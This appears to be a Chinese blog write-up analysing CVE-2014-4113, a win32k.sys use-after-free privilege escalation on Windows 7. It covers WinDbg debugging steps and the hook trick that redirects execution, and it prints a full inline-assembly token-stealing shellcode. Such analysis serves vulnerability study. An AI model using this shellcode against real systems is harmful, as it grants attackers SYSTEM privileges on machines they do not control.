0x00:前言
这次是一个经典的内核提权漏洞,问题出在win32k.sys中,据说已经可以用在Windows 8.1上了,因为直接拿到了exp,所以我们直接从exp入手分析,实验环境的一些文件:https://github.com/ThunderJie/CVE/tree/master/CVE-2014-4113
0x01:实验环境
- Windows 7 x86(虚拟机)
- Windbg 10.0.17134.1 + virtualKD(双机调试)
- VS 2015 (编译release版本)
- IDA Pro(反编译)
- exp.exe
0x02:漏洞原理
这个漏洞的主要原理是:销毁弹出菜单的时候通过钩子的方法修改返回值,将返回值修改为fffffffb,因为对这个值没有严格的检查从而在sendmessage中再次被引用到,从而造成了UAF,这个方法可以在sendmessage中跳转到shellcode从而提权
知识点
UAF,WinDbg使用等
0x03:漏洞分析
1.分析源码
首先拿到exp的源码我们分析以下它做了哪些事情,首先加载解析了一些符号,创建了两个菜单,我们直接看到关键部分TrackPopupMenu()这个函数,这里是主要的攻击部分,我们现在就需要动态调试定位到这里,查看exp到底做了什么事情
2.动态调试
知道了关键的函数,我们就可以直接进行双机调试了,双机调试中环境的搭建我在CVE-2014-1767说过,就不在赘述,我们首先x查找符号TrackPopupMenu()的二进制地址
ba对内存访问设置断点
运行exp断在了这里
我们通过!process 0 0找到exp的进程地址
然后dt _EPROCESS 871daca8查看该进程的结构体信息,我们找到token的位置,发现是在0xf8偏移处
我们通过dd查看当前进程的token
我们在找到system的EPROCESS结构
查看system的token位置
找到system中token的值
我们的shellcode的作用就是负责将进程中的token替换为system中的token达到提权的目的,我们在当前进程的token位置处下一个写入断点,当该地址被写入的时候也就是shell code执行的时候,我们就会断下,这里我们设置条件断点并且打印一下token的值以便观察:
ba w1 871dada0 “.printf “Token:0x%08x\n”,poi(871dada0);.if(poi(871dada0)=0x890012cf){;}.else{g;}”
继续运行可以看到token的改变,断在了这里
从汇编窗口可以看到这个函数并没有执行完,我们执行几步将这个函数执行完再观察
我们再次查看进程中token的值发现已经和上面system的token一样,也就是替换成功了,接下来也就是shellcode的内容了
在执行shellcode之前我们栈回溯一下查看调用顺序
可以看到,我们最后调用了win32k!xxxSendMessageTimeout函数,我们用IDA分析win32k.sys找到以94f3结尾的地址(存在ASLR):
我们F5反汇编查看上面调用的[esi+60h]函数信息这里调用了一个P参数
我们查看到函数的第一个调用参数为P
我们回到windbg中,查看到第一个参数为fffffffb,也就是-5
我们转到源码发现这里有个HookCallbacktwo的回调函数,内容是先调用了EndMenu函数释放一个菜单,之后返回一个-5的值,而这个回调函数则刚好是我们钩子设定的函数
我们查看这个返回值加上60会跳转到哪里
我们发现会直接跳转到shellcode部分,接下来就开始执行我们的Shellcode
0x04:漏洞利用
shellcode部分主要就是达到提权的效果
int __stdcall TokenStealingShellcodeWin7(int one, int two, int three, int four) {
__asm {
; initialize
pushad; save registers state
xor eax, eax; Set zero
mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
mov ecx, eax; Copy current _EPROCESS structure
mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
SearchSystemPID:
mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
sub eax, FLINK_OFFSET
cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
jne SearchSystemPID
mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
; to current process
popad; restore registers state
}
return 0;
}
成功利用漏洞的效果如下:
0x05:总结
非常经典的一个内核提权漏洞,在分析的过程中遇到过很多问题,但是最后都还是解决了,在源码中我并没有一句一句的分析,读者有兴趣可以自己去琢磨,毕竟注释写的还是很清楚的
参考资料:
https://www.ichunqiu.com/course/56147